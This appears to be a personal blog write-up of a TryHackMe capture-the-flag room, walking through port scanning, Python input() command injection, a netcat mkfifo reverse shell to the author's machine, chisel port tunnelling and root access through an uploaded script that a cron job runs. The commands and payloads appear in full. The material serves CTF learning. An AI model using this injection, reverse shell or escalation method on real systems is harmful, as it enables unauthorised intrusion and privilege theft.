Hey!
Through this article, I’m gonna be outlining the steps I took in dealing with this Tryhackme room. This was a pretty interesting one, and I did fall into one of the rabbit holes that extended the time that it took me to solve significantly:(. I also noted all the things I could have done better in the quoted strings

The challenge is:

Goal: read user.txt and root.txt

Enumeration

Like with any box we start off with the good ol' enumeration of the box using rustscan as follows: rustscan -a 10.10.96.11 --ulimit 5000 -- -sC -sV -oN scan.txt

Only two ports are open:( :

Open 10.10.96.11:22
Open 10.10.96.11:10000
... truncated ... 
PORT      STATE SERVICE           REASON  VERSION
22/tcp    open  ssh               syn-ack OpenSSH 7.2p2 Ubuntu 
... truncated ...
10000/tcp open  snet-sensor-mgmt? syn-ack
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing

Exploring port 10000

Clearly the most interesting port is 10000, looks like a situation to utilize netcat

──(kali㉿kali)-[~/thm/Develpy]
└─$ nc -nv 10.10.96.11 10000 
(UNKNOWN) [10.10.96.11] 10000 (webmin) open

        Private 0days

 Please enther number of exploits to send??: 5

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.081 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.050 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.067 ms
Exploiting tryhackme internal network: beacons_seq=4 ttl=1337 time=0.019 ms
Exploiting tryhackme internal network: beacons_seq=5 ttl=1337 time=0.036 ms

Hmmm…. the main functionality seems to simply ping some endpoint on the internal network. Looking at this, seems like some type of injection may be useful ¯\_(ツ)_/¯

While scouring around I came across these two links that prove useful in actually injecting code:

From here, I was able to quickly get the user.txt file: using __import__('os').system('cat user.txt') second

Shell Time

Now that we know that we are able to run commands like we are on the box, decided to spawn a revshell using

#listen
nc -nvlp 1337
#spawn the shell
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <my tun0 ip> 1337 >/tmp/f')

third fourth

So sidenote, right around here is where I went down the rabbit hole and was trying various steganography tools against the image credentials.png don’t ask me why 🥲. Only ran after the rabbit due to having hit a ctf challenge where that was the case:(. But we live and learn

Elevating Privileges

So after running after the rabbit, I went back to properly review the things available to me to look at as the king user.

Looking through these files looked interesting:

fifth

Especially when you coincide with the [crontab]/(https://man7.org/linux/man-pages/man5/crontab.5.html) entries:

sixth

Basically the root.sh and run.sh are getting run every minute. But looking at the permissions on both files, the only file that we are able to modify is the run.sh file.

Contents of run.sh: seventh

Contents of root.sh: tenth

Not sure of what we can do with that, because the user the job for that file is run as king, which would not elevate my perms. With the root.sh file, I don’t have perms to write. “So what do I do😔”, I asked.

The /root/company began to look more interesting although I clearly did not have access, meaning there must be something else I was missing.

Decided to finally run good ole linpeas.sh at this point. I know, I know should have run it much earlier😭.

May have also caught it earlier if I had run pspy in the background.

What stood out was the process tree. The output was one from one of the cronjobs running and would you believe it’s the one we don’t have access to as king normally.

root       748   570  0 14:17 ?        00:00:00  \_ /usr/sbin/CRON -f
root       754   748  0 14:17 ?        00:00:00      \_ /bin/sh -c cd /root/company && bash run.sh
root       756   754  0 14:17 ?        00:00:00          \_ bash run.sh
root       757   756  0 14:17 ?        00:00:01              \_ python3 manage.py runserver 127.0.0.1:8080
root       764   757  1 14:17 ?        00:00:28                  \_ /usr/bin/python3 manage.py runserver 127.0.0.1:8080

Here we clearly see that there is a port, 8080 that is only exposed on the loopback interfaces and was not caught in the rustscan scan.

Would have caught it if I went with the basic step of netstat -atn to see what tcp sockets(in this case) are in use.

Chiseling my way through

Given that the port was only opened within the box, decided to try a simple curl to get an idea of what was running on port 8080:

eighth

LOL. welp Atleast wget was available for use:

ninth

The /upload endpoint caught my eye and led me to try to create a tunnel of some to be able to access the webpage. This is because if we can get a .py into the directory named /root/company/media/ shown in the root.sh file, then we are golden!!

Reverse Chiseling

  • Downloaded and uploaded the chisel] utility
    • Got this version because eleventh

Got the utility onto the remote server using wget on the remote machine along with running python3 -m http.server 80 on my local machine to expose the contents of the directory to the remote server

  • On my machine I got the same version and ran ./chisel server -p 10000 --reverse to open up a port to listen on to create the tunnel connection to the remote server.

  • On the remote server ran ./chisel client <my tun0 ip>:10000 R:8080:127.0.0.1:8080 to forward port 8080 on the localhost to port 8080 on my local machine

  • When connected the last line in the image below shows up!

twelfth

Explore the web page

Navigating to http://localhost:8080/ on my local machine we see: Thirteenth

Testing out some random uploads, we see that the files are getting dropped in a /media directory. Here I infer that this may be the same one as /root/company/media/.

fourteenth

ROOT Flag

Decided to try uploading some python files to test the limits.

import os
os.system("echo name >> /home/king/test.txt")

This got uploaded successfully, waited a minute annnnndd….. We gooooodddd! File got created and contents were as expected

image

Sent this to quickly get the root flag:

import os
os.system("cat /root/root.txt > /home/king/root.txt")

root

Tried a few things to try get a root shell from there using a reverse shell but had no luck

sad

But Atleast, I did get the root flag and could have done something like updating the root.sh file with a revshell cmdline. Will probably try that later again:). But that will be all! Hopefully this was useful

final